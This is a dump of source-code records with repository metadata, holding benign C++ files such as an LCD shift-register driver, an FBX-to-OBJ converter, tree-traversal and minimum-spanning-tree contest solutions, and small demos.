2b0e3fb66df910d32a77d9ed5fe55d082f1fc31d
5e8c2b4ef3eeb60286ec82ee4874b87346c6a51f
/SO_link/three.cpp
8ac263ad6a42fcf28049a182c46fae80dcc2b53c
[]
no_license
zongzeliunt/C_experiments
1f75d4eb72cdb9165bee801538813587e20594a1
cbc974df95b4af0972240939d9a86f0b4319d7bf
refs/heads/master
2022-12-25T19:53:02.144299
2022-12-23T23:05:36
2022-12-23T23:05:36
203,063,238
0
0
null
null
null
null
UTF-8
C++
false
false
84
cpp
#include "SoDemoTest.h" void three() { cout << "call three() function." << endl; }
[ "zongze.li@tetramem.com" ]
zongze.li@tetramem.com
794eadc1cb516e0cfd26b8451a2b4b674bcbd8fe
7b8979bdabad9fd5c600272680ef030d1c14ffba
/Code/FbxToObjConverter/Converter.cpp
0a94cdf45fa1472bbdb9de8dbca63f72a7ad4c6f
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
armadi110/VoxelRenderer
2e67883b76f4632a477490d3cd35243d8c1952a5
fcf8aa8105d37638a21bca87fa56e294314a9548
refs/heads/master
2021-09-09T16:05:14.138595
2018-03-13T20:11:27
2018-03-13T20:11:27
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,523
cpp
#include "Converter.h" #include "ShellMeshTools/Loader/FBXLoader.h" #include "ObjExporter.h" #include <fstream> namespace vr { // ================================ // // bool Converter::Convert ( const filesystem::Path& inputFile, const filesystem::Path& outputFile, bool genMatfile ) { FBXLoader loader; auto mesh = loader.LoadTexturedMesh( inputFile ); if( mesh.IsValid ) { ObjExporter exporter( mesh.Value ); if( exporter.Export( outputFile ) ) { if( !genMatfile ) return true; /// @todo Paths in materials vector are relative to FBX file. We should translate them relative to /// outputFile path. This works as long as input and output are in the same folder. return SaveMaterialsList( DefaultMatListFile( outputFile ), mesh.Value.Materials ); } } return false; } // ================================ // // filesystem::Path Converter::DefaultMatListFile ( const filesystem::Path& outputFile ) { auto directory = outputFile.GetDirectory(); auto baseName = outputFile.GetFileName(); auto extension = std::string( ".matlist" ); return directory / ( baseName + extension ); } // ================================ // // bool Converter::SaveMaterialsList ( const filesystem::Path& outputFile, const std::vector< Material >& materials ) { std::fstream file( outputFile.String(), std::fstream::out ); if( file.is_open() ) { for( auto & material : materials ) { file << material.TexturePath << std::endl; } return true; } return false; } } // vr
[ "nieznany.sprawiciel@gmail.com" ]
nieznany.sprawiciel@gmail.com
dbc7a04868f76757bbe9590270bb482df02974f1
5eaf96226dabdee6dbec6d80e6e8a7b53a31a643
/functiontemplate/main.cpp
78b0754fae89cb9262c9d137ee7c8a8e71288d14
[]
no_license
cuihao0532/CodeSnippet
45e269b74e1b8e54d214d70dee723a08dfae7890
b99f2b8295527a42ab13b2ee5a155de5c6f57269
refs/heads/master
2016-09-06T11:35:36.318279
2015-01-06T16:42:00
2015-01-06T16:42:00
26,439,101
0
0
null
null
null
null
UTF-8
C++
false
false
194
cpp
#include <iostream> #include "functemp_baohan.h" using namespace std; int main() { int a = 100; int b = 200; int nSum = Add(a, b); cout << endl << "nSum = " << nSum << endl; return 0; }
[ "cuihao0532@163.com" ]
cuihao0532@163.com
18b058dcbed87afc98a66f6ae06e77c0fb8cdec7
ad4a9e31928834c4fc7ff75cec50e8c7af4771d3
/old_v1/libs/LiquidCrystal/LiquidCrystal_SR3W.cpp
6144c06f07a5c1ec96f916c67e5b20d3bcc8fec1
[ "MIT" ]
permissive
paulfantom/pi-solar
a1d1f07688a169dc10b058d485183a4021a8b2e0
b6a38ad40e3acfa276c7001a9727964b641c8b42
refs/heads/master
2020-03-07T14:22:53.619797
2018-12-29T19:33:48
2018-12-29T19:33:48
127,524,933
1
1
MIT
2018-07-22T15:45:42
2018-03-31T11:09:00
HTML
UTF-8
C++
false
false
9,218
cpp
// --------------------------------------------------------------------------- // Created by Francisco Malpartida on 7.3.2012. // Copyright 2011 - Under creative commons license 3.0: // Attribution-ShareAlike CC BY-SA // // This software is furnished "as is", without technical support, and with no // warranty, express or implied, as to its usefulness for any purpose. // // Thread Safe: No // Extendable: Yes // // @file LiquidCrystal_SRG.h // This file implements a basic liquid crystal library that comes as standard // in the Arduino SDK but using a generic SHIFT REGISTER extension board. // // @brief // This is a basic implementation of the LiquidCrystal library of the // Arduino SDK. The original library has been reworked in such a way that // this class implements the all methods to command an LCD based // on the Hitachi HD44780 and compatible chipsets using a 3 wire latching // shift register. While it has been tested with a 74HC595N shift register // it should also work with other latching shift registers such as the MC14094 // and the HEF4094 // // This particular driver has been created as generic as possible to enable // users to configure and connect their LCDs using just 3 digital IOs from the // AVR or Arduino, and connect the LCD to the outputs of the shiftregister // in any configuration. The library is configured by passing the IO pins // that control the strobe, data and clock of the shift register and a map // of how the shiftregister is connected to the LCD. // // // +--------------------------------------------+ // | MCU | // | IO1 IO2 IO3 | // +----+-------------+-------------+-----------+ // | | | // | | | // +----+-------------+-------------+-----------+ // | Strobe Data Clock | // | 8-bit shift/latch register | 74HC595N // | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | // +----+----+----+----+----+----+----+----+----+ // | | | | | | | // |11 |12 |13 |14 |6 |5 |4 (LCD pins) // +----+----+----+----+----+----+----+----+----+ // | DB4 DB5 DB6 DB7 E Rw RS | // | LCD Module | // // NOTE: Rw is not used by the driver so it can be connected to GND. // // The functionality provided by this class and its base class is identical // to the original functionality of the Arduino LiquidCrystal library. // // // History // 2012.03.29 bperrybap - fixed constructors not properly using Rs // Fixed incorrect use of 5x10 for default font // - now matches original LQ library. // moved delay to send() so it is per cmd/write vs shiftout() // NOTE: delay is on hairy edge of working when FAST_MODE is on. // because of waitUsec(). // There is margin at 16Mhz AVR but might fail on 20Mhz AVRs. // // @author F. Malpartida - fmalpartida@gmail.com // --------------------------------------------------------------------------- // flags for backlight control #include <stdio.h> #include <string.h> #include <inttypes.h> #if (ARDUINO < 100) #include <WProgram.h> #else #include <Arduino.h> #endif #include "LiquidCrystal_SR3W.h" #include "FastIO.h" /*! @defined @abstract LCD_NOBACKLIGHT @discussion No BACKLIGHT MASK */ #define LCD_NOBACKLIGHT 0x00 /*! @defined @abstract LCD_BACKLIGHT @discussion BACKLIGHT MASK used when backlight is on */ #define LCD_BACKLIGHT 0xFF // Default library configuration parameters used by class constructor with // only the I2C address field. // --------------------------------------------------------------------------- /*! @defined @abstract Enable bit of the LCD @discussion Defines the IO of the expander connected to the LCD's Enable */ #define EN 4 // Enable bit /*! @defined @abstract Read/Write bit of the LCD @discussion Defines the IO of the expander connected to the LCD's Rw pin */ #define RW 5 // Read/Write bit /*! @defined @abstract Register bit of the LCD @discussion Defines the IO of the expander connected to the LCD's Register select pin */ #define RS 6 // Register select bit /*! @defined @abstract LCD dataline allocation this library only supports 4 bit LCD control mode. @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module */ #define D4 0 #define D5 1 #define D6 2 #define D7 3 LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe) { init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); } LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol) { init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); setBacklightPin(backlighPin, pol); } LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) { init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); } LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) { init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); setBacklightPin(backlighPin, pol); } void LiquidCrystal_SR3W::send(uint8_t value, uint8_t mode) { if ( mode != FOUR_BITS ) { write4bits( (value >> 4), mode ); // upper nibble } write4bits( (value & 0x0F), mode); // lower nibble #if (F_CPU <= 16000000) // No need to use the delay routines on AVR since the time taken to write // on AVR with SR pin mapping even with fio is longer than LCD command execution. waitUsec(37); //goes away on AVRs #else delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete #endif } void LiquidCrystal_SR3W::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) { _backlightPinMask = ( 1 << value ); _backlightStsMask = LCD_NOBACKLIGHT; _polarity = pol; setBacklight (BACKLIGHT_OFF); // Set backlight to off as initial setup } void LiquidCrystal_SR3W::setBacklight ( uint8_t value ) { // Check if backlight is available // ---------------------------------------------------- if ( _backlightPinMask != 0x0 ) { // Check for polarity to configure mask accordingly // ---------------------------------------------------------- if (((_polarity == POSITIVE) && (value > 0)) || ((_polarity == NEGATIVE ) && ( value == 0 ))) { _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; } else { _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; } loadSR( _backlightStsMask ); } } // PRIVATE METHODS // ----------------------------------------------------------------------------- int LiquidCrystal_SR3W::init(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t Rs, uint8_t Rw, uint8_t En, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) { _data = fio_pinToBit(data); _clk = fio_pinToBit(clk); _strobe = fio_pinToBit(strobe); _data_reg = fio_pinToOutputRegister(data); _clk_reg = fio_pinToOutputRegister(clk); _strobe_reg = fio_pinToOutputRegister(strobe); // LCD pin mapping _backlightPinMask = 0; _backlightStsMask = LCD_NOBACKLIGHT; _polarity = POSITIVE; _En = ( 1 << En ); _Rw = ( 1 << Rw ); _Rs = ( 1 << Rs ); // Initialise pin mapping _data_pins[0] = ( 1 << d4 ); _data_pins[1] = ( 1 << d5 ); _data_pins[2] = ( 1 << d6 ); _data_pins[3] = ( 1 << d7 ); _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; return (1); } void LiquidCrystal_SR3W::write4bits(uint8_t value, uint8_t mode) { uint8_t pinMapValue = 0; // Map the value to LCD pin mapping // -------------------------------- for ( uint8_t i = 0; i < 4; i++ ) { if ( ( value & 0x1 ) == 1 ) { pinMapValue |= _data_pins[i]; } value = ( value >> 1 ); } // Is it a command or data // ----------------------- mode = ( mode == DATA ) ? _Rs : 0; pinMapValue |= mode | _backlightStsMask; loadSR ( pinMapValue | _En ); // Send with enable high loadSR ( pinMapValue); // Send with enable low } void LiquidCrystal_SR3W::loadSR(uint8_t value) { // Load the shift register with information fio_shiftOut(_data_reg, _data, _clk_reg, _clk, value, MSBFIRST); // Strobe the data into the latch ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { fio_digitalWrite_HIGH(_strobe_reg, _strobe); fio_digitalWrite_SWITCHTO(_strobe_reg, _strobe, LOW); } }
[ "pawel@krupa.net.pl" ]
pawel@krupa.net.pl
34051492e53d0dd9420f4a7b60d6ddbdb6d8dc6e
4bea57e631734f8cb1c230f521fd523a63c1ff23
/projects/openfoam/rarefied-flows/impingment/sims/test/nozzle1/3.52/uniform/time
59dc9856d5f6ba28e189ce697252a82a56e8971a
[]
no_license
andytorrestb/cfal
76217f77dd43474f6b0a7eb430887e8775b78d7f
730fb66a3070ccb3e0c52c03417e3b09140f3605
refs/heads/master
2023-07-04T01:22:01.990628
2021-08-01T15:36:17
2021-08-01T15:36:17
294,183,829
1
0
null
null
null
null
UTF-8
C++
false
false
998
/*--------------------------------*- C++ -*----------------------------------*\ | ========= | | | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox | | \\ / O peration | Version: v1912 | | \\ / A nd | Website: www.openfoam.com | | \\/ M anipulation | | \*---------------------------------------------------------------------------*/ FoamFile { version 2.0; format ascii; class dictionary; location "3.52/uniform"; object time; } // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // value 3.52000000000300384; name "3.52"; index 35200; deltaT 0.0001; deltaT0 0.0001; // ************************************************************************* //
[ "andytorrestb@gmail.com" ]
andytorrestb@gmail.com
053aecc3c9b7b5ba758a6ab4e877914ace5bed85
fc60a42e25dd0dfb479939f379e2ebdc475f8ea0
/1214.cpp
9ddd33db475404b85becdc2a3a40f71d676fcdd8
[]
no_license
MihawkHu/SJTU_OJ
241a94971b754b84050b8ef50b23e5e163d606e8
e6f38eaada9bb8f741b47c5bad46b2f89442a29a
refs/heads/master
2021-01-10T16:23:06.767877
2016-03-13T03:07:06
2016-03-13T03:07:06
53,596,959
1
1
null
null
null
null
UTF-8
C++
false
false
2,919
cpp
#include <iostream>using namespace std; template <class T> class btree;template <class T> class vector;template <class T> class queue; template <class T> class btree {private: struct node { T elem; node *left, *bro, *prev; node() : left(NULL), bro(NULL), prev(NULL) {} node(const T &x, node *l = NULL, node *b = NULL, node *p = NULL) { elem = x; left = l; bro = b; prev = p; } ~node() {} }; node* root; public: btree() : root(NULL) {} btree(const int &n); ~btree() { clear(); } void clear() { if (root != NULL) clear(root); root = NULL; } void clear(node* t) { if (t->left != NULL) clear(t->left); if (t->bro != NULL) clear(t->bro); } bool empty() { return root == NULL; } void preOrder() { preOrder(root); } void postOrder() { postOrder(root); } void levelOrder(); private: void preOrder(node *t); void postOrder(node *t);}; template<class T>btree<T>::btree(const int & n) { vector<node*> vec; vec[0] = NULL; for (int i = 1; i <= n; ++i) { vec[i] = new node; } for (int i = 1; i <= n; ++i) { int lef, broth; long vi; cin >> lef >> broth >> vi; vec[i]->elem = vi; vec[i]->left = vec[lef]; vec[i]->bro = vec[broth]; if (lef != 0) vec[lef]->prev = vec[i]; if (broth != 0) vec[broth]->prev = vec[i]; } for (int i = 1; i <= n; ++i) { if (vec[i]->prev == NULL) { root = vec[i]; break; } }} template<class T>void btree<T>::levelOrder() { queue<node*> que; node *cur; if (root == NULL) return; que.enque(root); while (!que.empty()) { cur = que.deque(); cout << cur->elem << " "; if (cur->left != NULL) { cur = cur->left; que.enque(cur); while (cur->bro != NULL) { cur = cur->bro; que.enque(cur); } } }} template<class T>void btree<T>::preOrder(node * t) { if (t == NULL) return; cout << t->elem << " "; preOrder(t->left); preOrder(t->bro);} template<class T>void btree<T>::postOrder(node * t) { if (t == NULL) return; postOrder(t->left); cout << t->elem << " "; postOrder(t->bro);} template <class T> class vector {private: T *elem;public: vector() { elem = new T[100050]; } ~vector() { delete[] elem; } T &operator[](int r) const { return elem[r]; }}; template <class T> class queue {private: struct node { T elem; node *next; node() : next(NULL) {} node(const T &x, node *n = NULL) { elem = x; next = n; } ~node() {} }; node *front, *rear; public: queue() { front = rear = NULL; } ~queue() { node *tmp; while (front != NULL) { tmp = front; front = front->next; delete tmp; } } bool empty() { return front == NULL; } void enque(const T &x) { if (rear == NULL) front = rear = new node(x); else { rear->next = new node(x); rear = rear->next; } } T deque() { node *tmp = front; T x = front->elem; front = front->next; if (front == NULL) rear = NULL; delete tmp; return x; }}; int main(){ int n; cin >> n; btree<long> tree(n); tree.preOrder(); cout << '\n'; tree.postOrder(); cout << '\n'; tree.levelOrder(); return 0;}
[ "mihawkhu@gmail.com" ]
mihawkhu@gmail.com
4ff48e4ec60d83147a3f866b13091cc0b135898b
2dc51df4e4a035195f4b2b35f1f8937ce718898d
/src/Lua.h
b1fadaad44ac0c00731db4941159b8117c4ceeda
[]
no_license
walterar/pioneer-sp
614efe18e87c4925c01167d6f395c523ea01a2a5
e46c61fb906d2deea2c089f21b6f990664c4284f
refs/heads/master
2020-05-21T15:13:57.137721
2016-12-27T16:15:37
2016-12-27T16:15:37
16,237,623
8
1
null
null
null
null
UTF-8
C++
false
false
408
h
// Copyright © 2008-2016 Pioneer Developers. See AUTHORS.txt for details // Licensed under the terms of the GPL v3. See licenses/GPL-3.txt #ifndef _LUA_H #define _LUA_H #include "LuaManager.h" // home for the global Lua context. here so its shareable between pioneer and // modelviewer. probably sucks in the long term namespace Lua { extern LuaManager *manager; void Init(); void Uninit(); } #endif
[ "walterar2@gmail.com" ]
walterar2@gmail.com
c12c46737222be71d9ef84de5a481ad86be95cb9
a398c5d782f7dc59d7fc43a67bfefdd1872f13c6
/ScriptExtender/Extender/Shared/ModuleHasher.h
8a7456d7c28ea93eff875e42375a20cc910fd887
[ "MIT" ]
permissive
Norbyte/ositools
b11f82221000f0a8be6dc85bfe6c40645746524e
e2d351a5503f8660c5c40fc4a68570373befc7d9
refs/heads/master
2023-08-14T16:31:00.481306
2023-07-28T16:11:30
2023-07-28T16:11:30
120,127,571
351
41
MIT
2023-08-30T10:32:44
2018-02-03T20:37:56
C++
UTF-8
C++
false
false
615
h
#pragma once #include <GameDefinitions/Base/Base.h> #include <GameDefinitions/GameObjects/Module.h> #include <mutex> #include <unordered_map> BEGIN_SE() class ModuleHasher { public: void PostStartup(); void ClearCaches(); bool isHashing() const { return hashDepth_ > 0; } private: std::vector<Module*> hashStack_; std::unordered_map<FixedString, STDString> hashCache_; std::recursive_mutex mutex_; static __declspec(thread) unsigned hashDepth_; bool FetchHashFromCache(Module& mod); void UpdateDependencyHashes(Module& mod); bool OnModuleHash(Module::HashProc* next, Module* self); }; END_SE()
[ "infernorb@gmail.com" ]
infernorb@gmail.com
06d3efa1d9ee289a1667c5259f057bf8588f78d5
d0889089b86bc407b154879cb294e703f9303989
/Lumos/External/Tracy/profiler/src/winmain.cpp
fd3c35f2ba5566916309314b993f40d615c36633
[ "MIT", "LicenseRef-scancode-public-domain", "BSD-3-Clause" ]
permissive
jmorton06/Lumos
9ab96420c619d9baac07e4561d0a7e83645d54c8
e5f0ebfa9049d3515caaad056fda082a1e9d74ae
refs/heads/main
2023-09-01T02:48:00.496623
2023-07-06T07:31:44
2023-07-06T07:31:44
164,933,352
1,052
126
MIT
2023-09-06T08:08:18
2019-01-09T20:32:10
C++
UTF-8
C++
false
false
1,728
cpp
#ifdef _WIN32 # include <windows.h> # include <stdlib.h> # include <intrin.h> # include <stdint.h> namespace tracy { bool DiscoveryAVX(); bool DiscoveryAVX2(); } int main( int argc, char** argv ); int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmd, int nCmd ) { { uint32_t regs[4]; __cpuidex( (int*)regs, 0, 0 ); const uint32_t maxLeaf = regs[0]; bool cpuHasAVX = false; bool cpuHasAVX2 = false; if( maxLeaf >= 1 ) { __cpuidex( (int*)regs, 1, 0 ); cpuHasAVX = ( regs[2] & 0x10000000 ) != 0; } if( maxLeaf >= 7 ) { __cpuidex( (int*)regs, 7, 0 ); cpuHasAVX2 = ( regs[1] & 0x00000020 ) != 0; } if( tracy::DiscoveryAVX2() && !cpuHasAVX2 ) { MessageBoxA( nullptr, "This program is compiled with AVX2 instruction set, but your CPU doesn't support it. You must recompile with lower instruction set.\n\nIn Visual Studio go to Project properties -> C/C++ -> Code Generation -> Enable Enhanced Instruction Set and select appropriate value for your CPU.", "Wrong CPU architecture", MB_ICONERROR ); return 0; } if( tracy::DiscoveryAVX() && !cpuHasAVX ) { MessageBoxA( nullptr, "This program is compiled with AVX instruction set, but your CPU doesn't support it. You must recompile with lower instruction set.\n\nIn Visual Studio go to Project properties -> C/C++ -> Code Generation -> Enable Enhanced Instruction Set and select appropriate value for your CPU.", "Wrong CPU architecture", MB_ICONERROR ); return 0; } } return main( __argc, __argv ); } #endif
[ "jmorton06@live.co.uk" ]
jmorton06@live.co.uk
3e121d797055840069c2a0143029663274c5af93
c15fca4fd72de494402eca04f7e99e17f5735de0
/BehavioralModel/Command/main.cpp
bf41e40844f70bd13206a13a6b169cab0241508b
[]
no_license
DlisKeepOnGoing/DesignPattern
c4917ae8199a6ffe02a98c0bc5d29ee7f724bc7f
5d20f22afc0b513e0bfd9323d63d9c346ccc473b
refs/heads/master
2023-02-04T09:30:11.992702
2020-04-20T05:08:29
2020-04-20T05:08:29
251,570,653
0
0
null
null
null
null
UTF-8
C++
false
false
1,008
cpp
#include<iostream> #include<stdio.h> using namespace std; //接收者 class Receiver { public: void action() { printf("接收者的action()方法被调用...\n"); } }; //抽象命令 class Command { public: virtual void execute() = 0; }; //具体命令 class ConcreteCommand:public Command { private: Receiver* receiver; public: ConcreteCommand() { this->receiver = new Receiver(); } void execute() { this->receiver->action(); } }; //调用者 class Invoker { private: Command* command; public: Invoker() {} Invoker(Command* cmd) { this->command = cmd; } void setCommand(Command* cmd) { this->command = cmd; } void call() { printf("调用者执行命令command...\n"); this->command->execute(); } }; int main() { Command* cmd = new ConcreteCommand(); //Invoker ir = new Invoker(cmd); Invoker* ir = new Invoker(); ir->setCommand(cmd); printf("客户访问调用者的call()方法...\n"); ir->call(); return 0; }
[ "2209573006@qq.com" ]
2209573006@qq.com
03057e98064e18bddfb5c15f87ddac245d6b7fa4
defd0a45761f596a54e4a4f8521616aa351f40cb
/kuliah-algoritma-dan-pemrograman/Kuis Semester 2/soal_no_2.cpp
afc60251c01132575c25c2164617edf6195f5d6c
[]
no_license
ibnushevayanto/learn-cpp
75c12ed795acac8d45436f1db5fe5b56b2babf60
ec40d17bb48f2d488b651d985672885dc961eac1
refs/heads/master
2023-05-05T15:48:54.817510
2021-06-02T14:40:17
2021-06-02T14:40:17
270,989,999
0
0
null
null
null
null
UTF-8
C++
false
false
3,921
cpp
#include <iostream> using namespace std; void newLine(){ cout<<endl; } struct Arsip{ int data; }; void swap(int *xp, int *yp) { int temp = *xp; *xp = *yp; *yp = temp; } void sortingKebawah(int data[], int n) { int i, j; for (i = 0; i < n-1; i++) for (j = 0; j < n-i-1; j++) if (data[j] > data[j+1]) swap(&data[j], &data[j+1]); } void printArray(int arr[], int size) { int i; for (i = 0; i < size; i++) cout << " " << arr[i] << " "; } int main() { bool run_app = true; int perintah, max_jumlah_data, i; newLine(); cout<<" Isi maximal jumlah data yang anda inginkan : "; cin>>max_jumlah_data; newLine(); cout<<" ----------MENU PILIHAN----------"; newLine(); cout<<" 1. Masukan Data"; newLine(); cout<<" 2. Simpan Data"; newLine(); cout<<" 3. Baca Data"; newLine(); cout<<" 4. Tampilkan Data Asal"; newLine(); cout<<" 5. Urutkan Data Secara Menaik"; newLine(); cout<<" 6. Tampilkan Data Terurut"; newLine(); cout<<" 7. Keluar"; newLine(); cout<<" --------------------------------"; newLine(); int data[max_jumlah_data], restoreData[max_jumlah_data]; Arsip arsip[max_jumlah_data]; do{ cout<<" Masukkan Perintah : ";cin>>perintah; newLine(); if(perintah == 7 || perintah > 7) run_app = false; if(perintah == 1){ cout<<" ----------Menu No 1----------"; newLine();newLine(); for(i = 0; i < max_jumlah_data; i++){ cout<<" Masukkan data ke "<<i + 1<<" : "; cin>>data[i]; newLine(); } cout<<" Proses Input Data Berhasil !"; newLine(); newLine(); cout<<" -----------------------------"; newLine(); } else if(perintah == 2) { cout<<" ----------Menu No 2----------"; newLine();newLine(); for(i = 0; i < max_jumlah_data; i++){ arsip[i].data = data[i]; restoreData[i] = data[i]; } cout<<" Proses Pengarsipan Berhasil !"; newLine(); newLine(); cout<<" -----------------------------"; newLine(); } else if(perintah == 3) { cout<<" ----------Menu No 3----------"; newLine();newLine(); if (arsip[0].data != data[0]) { cout<<" Data belum diarsipkan atau belum diinput mohon dicheck kembali !"; newLine(); newLine(); } else { cout<<" Data sudah berhasil dibaca !";newLine(); newLine(); } cout<<" -----------------------------"; newLine(); } else if(perintah == 4) { cout<<" ----------Menu No 4----------"; newLine(); newLine(); if (arsip[0].data != data[0]) { cout<<" Data belum diarsipkan atau belum diinput mohon dicheck kembali !"; newLine(); newLine(); } else { printArray(restoreData, max_jumlah_data); newLine(); cout<<" Data sudah berhasil ditampilkan !";newLine(); newLine(); } cout<<" -----------------------------"; newLine(); } else if(perintah == 5) { cout<<" ----------Menu No 5----------"; newLine(); newLine(); if (arsip[0].data != data[0]) { cout<<" Data belum diarsipkan atau belum diinput mohon dicheck kembali !"; newLine(); newLine(); } else { sortingKebawah(data, max_jumlah_data); for(i = 0; i < max_jumlah_data; i++){ arsip[i].data = data[i]; } cout<<" Data sudah berhasil diurutkan !";newLine(); newLine(); } cout<<" -----------------------------"; newLine(); } else if(perintah == 6) { cout<<" ----------Menu No 6----------"; newLine(); newLine(); if (arsip[0].data != data[0]) { cout<<" Data belum diarsipkan atau belum diinput mohon dicheck kembali !"; newLine(); newLine(); } else { printArray(data, max_jumlah_data); newLine(); cout<<" Berhasil menampilkan data yang sudah diurut !";newLine(); newLine(); } cout<<" -----------------------------"; newLine(); } }while(run_app); return 0; }
[ "ibnushevayanto@gmail.com" ]
ibnushevayanto@gmail.com
443064f5d97b1c750169efa566b43fcfa0c983a5
e5c0b38c9cc0c0e6155c9d626e299c7b03affd1e
/trunk/Code/Engine/Graphics/Shaders/RenderTextureSceneEffect.h
076e4d5defc134e28a20d4d6ac1968217dc0dc41
[]
no_license
BGCX261/zombigame-svn-to-git
4e5ec3ade52da3937e2b7d395424c40939657743
aa9fb16789f1721557085deae123771f5aefc4dd
refs/heads/master
2020-05-26T21:56:40.088036
2015-08-25T15:33:27
2015-08-25T15:33:27
41,597,035
0
0
null
null
null
null
WINDOWS-1250
C++
false
false
1,076
h
//---------------------------------------------------------------------------------- // CRenderTextureSceneEffect class // Author: Javier Gedeón // Modificada por : Katherine Capdevilla y Miquel Rojas // Última modificación: Andrea 18/01/11 // Description: // Esta clase nos permitirá crear efectos de escena que se utilizarán para volcar el // frame buffer sobre una textura para poder ser utilizada a posteriori. //---------------------------------------------------------------------------------- #pragma once #ifndef INC_RENDERTEXTURESCENEEFFECT_H_ #define INC_RENDERTEXTURESCENEEFFECT_H_ #include "Base.h" #include <string> #include "Math/Matrix44.h" #include "SceneEffect.h" #include <d3dx9.h> class CTexture; class CRenderManager; class CXMLTreeNode; class CRenderTextureSceneEffect : public CSceneEffect { protected: CTexture *m_Texture; LPDIRECT3DSURFACE9 m_Surface; public: CRenderTextureSceneEffect(CXMLTreeNode &atts); ~CRenderTextureSceneEffect(); void CaptureFrameBuffers(CRenderManager *RM); }; #endif
[ "you@example.com" ]
you@example.com
0e7b583a87e8d286c9dcfab1d061614a23820937
73c8a3179b944b63b2a798542896e4cdf0937b6e
/TC/502-DIV2-900.cpp
3a45693e99688ae3407229fe4922469413d44fc3
[ "Apache-2.0" ]
permissive
aajjbb/contest-files
c151f1ab9b562ca91d2f8f4070cb0aac126a188d
71de602a798b598b0365c570dd5db539fecf5b8c
refs/heads/master
2023-07-23T19:34:12.565296
2023-07-16T00:57:55
2023-07-16T00:57:59
52,963,297
2
4
null
2017-08-03T20:12:19
2016-03-02T13:05:25
C++
UTF-8
C++
false
false
1,926
cpp
#include <string> #include <iostream> #include <vector> #include <set> #include <algorithm> #include <numeric> #include <functional> #include <cmath> #include <cstdlib> #include <cstdio> using namespace std; struct UnionFind { int N, *id, *sz; UnionFind(int _N) { id = new int[_N]; sz = new int[_N]; for(int i = 0; i < _N; i++) { id[i] = i; sz[i] = 1; } N = _N; } int root(int i) { while(i != id[i]) { id[i] = id[id[i]]; i = id[i]; } return i; } bool find(int p, int q) { return root(p) == root(q); } void unite(int p, int q) { int i = root(p); int j = root(q); if(i == j) return; if(sz[i] < sz[j]) { id[i] = j; sz[j] += sz[i]; } else { id[j] = i; sz[i] += sz[j]; } } }; int x[110], y[110]; class KingdomXCitiesandVillagesAnother { public: double determineLength(vector <int> cityX, vector <int> cityY, vector <int> villageX, vector <int> villageY) { int N = cityX.size(), M = villageX.size(), K = N + M; UnionFind u(K); vector<pair<double, pair<int, int> > > edges; for(int i = 0; i < N; i++) { x[i] = cityX[i]; y[i] = cityY[i]; } for(int i = 0; i < M; i++) { x[N+i] = villageX[i]; y[N+i] = villageY[i]; } for(int i = 0; i < N; i++) u.unite(0, i); for(int i = 0; i < K; i++) { for(int j = 0; j < i; j++) { edges.push_back(make_pair(hypot(x[i] - x[j], y[i] - y[j]), make_pair(i, j))); } } double sum = 0.0; sort(edges.begin(), edges.end()); for(int i = 0; i < edges.size(); i++) { int ri = u.root(edges[i].second.first); int rj = u.root(edges[i].second.second); if(ri == rj) continue; sum += edges[i].first; u.unite(edges[i].second.first, edges[i].second.second); } return sum; } }; // Powered by FileEdit
[ "jefersonlsiq@gmail.com" ]
jefersonlsiq@gmail.com
68fbeab029a76a696182f30c6702ea5232c6bbbf
3fa9bd899af335251c3f122b2a0421ec1b4151af
/Object Oriented Chess/location.h
73f5aea468dba7eebc5f1e9e259de3e871444ad8
[]
no_license
bosoxfanx5/Chess-Game
0683170b7450b9564dbdf3414fff0a6597e402a1
957b3b9590e25a15b2f5a6bd030e27326a955708
refs/heads/master
2021-01-19T09:10:20.948727
2017-04-09T19:38:07
2017-04-09T19:38:07
87,733,817
0
0
null
null
null
null
UTF-8
C++
false
false
285
h
// // location.h // Object Oriented Chess // // Created by Dan on 3/6/16. // Copyright © 2016 Brooks, Dan and Tom. All rights reserved. // #ifndef location_h #define location_h class Location { public: float x = 0; float y = 0; float z = 0; }; #endif /* location_h */
[ "dan@mcdanielar.com" ]
dan@mcdanielar.com
637a5ac4ff7af5ac11919bb5f42178365343c59d
3639ff90add104c106388071f63e70388e596e62
/db/version_edit.h
6841223ee83d2c62461353844cc9d05f56985935
[ "BSD-3-Clause" ]
permissive
ImenYu/leveldb-less-write-amplification
6871a81d9bb16309b0cbceaef080d9c01f8427c2
09b9757df540e096267476bbdb3055cc7c4da721
refs/heads/master
2023-07-13T01:39:33.661603
2021-08-28T14:34:12
2021-08-28T14:34:12
394,985,923
0
0
BSD-3-Clause
2021-08-22T14:27:38
2021-08-11T12:46:04
C++
UTF-8
C++
false
false
3,048
h
